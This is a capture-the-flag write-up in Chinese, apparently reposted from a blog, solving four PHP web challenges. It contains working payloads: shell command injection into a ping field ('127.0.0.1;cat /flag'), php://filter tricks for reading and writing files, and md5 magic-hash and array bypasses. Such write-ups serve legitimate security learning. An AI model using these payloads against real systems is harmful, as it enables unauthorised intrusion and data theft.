[LitCTF 2023]Ping
知识点:前端检测
前端有限制,众所周知前端的限制只是为了前端用户可以输入有效的数据,让后端减小开销,更好的处理数据。
前端验证是通过对客户端输入数据的合法性进行检查来确保数据是有效且安全的。通常,它会通过一系列简单的规则,如长度检查、格式检查、正则表达式匹配等,验证用户输入是否符合要求,以提高应用程序的安全性和可用性。
前端检测,也称为前端验证或客户端验证,是指在用户界面上对用户输入的数据进行验证和验证的过程。它是在用户提交数据到服务器之前,在客户端(通常是在浏览器中)进行的验证过程。
前端检测主要用于验证用户输入的数据是否符合特定的要求和限制。它可以用于确保用户输入的数据格式正确、完整性和合法性,并提供即时的错误提示和反馈。
前端检测通常基于前端开发技术,如HTML、CSS和JavaScript。通过在前端代码中编写验证逻辑和规则,可以确保用户输入的数据满足特定的要求,如必填字段、最小长度、最大长度、数据格式等。
“whoami”是一个常见的命令行命令,通常用于显示当前登录用户的用户名。当您在命令行中输入”whoami”并按下回车键时,系统将返回当前用户的用户名作为输出。
解题
进入环境,要求ping一个IP地址,先用127.0.0.1试一下
127.0.0.1|ls
command=127.0.0.1|whoami&ping=Ping
command=127.0.0.1;ls /&ping=Ping
command=127.0.0.1;cat /flag&ping=Ping
NSSCTF{301d61d3-bf0d-4526-9853-6837a152ae32}
[LitCTF 2023]作业管理系统
知识点:文件上传+弱口令
文件上传成功
[SWPUCTF 2022 新生赛]ez_ez_php
知识点:PHP伪协议+文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
if ( substr($_GET["file"], 0, 3) === "php" ) {
: 如果GET参数file
的前三个字符是 “php”这段代码是一个简单的文件包含漏洞示例。它接受一个名为
file
的GET参数,并根据参数的值来包含不同的文件。如果参数以 “php” 开头,则会包含相应的文件并执行其中的代码,否则会输出 “Hacker!!”。如果没有传递file
参数,代码会将自身的源代码进行语法高亮显示。
看到这个三等号,我想到了用php://filter协议(php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了)
?file=php://filter/read=convert.base64-encode/resource=flag.php
将得到的base64进行解码,提到用php伪协议,但是一开始就用到了php伪协议
?file=php://filter/write=string.rot13/resource=flag
二、php伪协议读取文件的时候,直接读取flag再进行base64解码,而不用读取flag.php
?file=php://filter/read=convert.base64-encode/resource=flag
笔记
php伪协议参考:file_put_content和死亡·杂糅代码之缘 – 先知社区
rot13
尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可;
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php
这里<?php phpinfo();?>
的rot13编码即为<?cuc cucvasb();?>
,所以这里可以进行写入;载荷效果如下:
其原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码;
[NSSCTF 2022 Spring Recruit]babyphp
知识点:数组绕过+弱比较
解题
进入环境拿到源码
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
解析:
if(isset($_POST[‘a’])&&!preg_match(‘/[0-9]/’,$_POST[‘a’])&&intval($_POST[‘a’]))
在PHP中,intval()函数不能直接识别数组。intval()函数是用于获取变量的整数值,它可以识别字符串或数字类型的变量,并将其转换为整数。如果你尝试将一个数组传递给intval()函数,它将返回0。
if(isset($_POST[‘b1’])&&$_POST[‘b2’]){
if($_POST[‘b1’]!=$_POST[‘b2’]&&md5($_POST[‘b1’])===md5($_POST[‘b2’]))
首先,使用isset()函数检查$_POST数组中是否存在名为”b1″和”b2″的元素。如果两个元素都存在且非空,将执行if语句中的操作。if语句的第二个条件判断用户输入的”b1″和”b2″的值是否相等,且md5加密后是否相等。如果这两个条件都成立,就会被视为通过了校验,可以执行后续操作。
if($_POST[‘c1’]!=$_POST[‘c2’]&&is_string($_POST[‘c1’])&&is_string($_POST[‘c2’])&&md5($_POST[‘c1’])==md5($_POST[‘c2’]))
首先,通过比较POST[′c1′]和POST[‘c2’]的值来判断它们是否相等,同时使用is_string()函数确保两个值都是字符串类型。if语句的第三个条件使用md5加密对和POST[′c1′]和POST[‘c2’]的值进行比较,判断它们的加密后的结果是否相等。如果这个条件也满足,就会被视为通过了校验,可以执行后续操作。
is_string()函数在PHP中用于检测一个变量是否为字符串类型。它只能用于检测一个变量是否是一个普通的字符串,而不会将数组识别为字符串。
如果传递给is_string()函数的参数是一个数组,is_string()函数会返回false,因为数组不是字符串类型。需要传入值是字符串且md5值相等
payload:
a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=240610708
得到flag
原文地址:https://blog.csdn.net/qq_73861475/article/details/134597403
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_14339.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!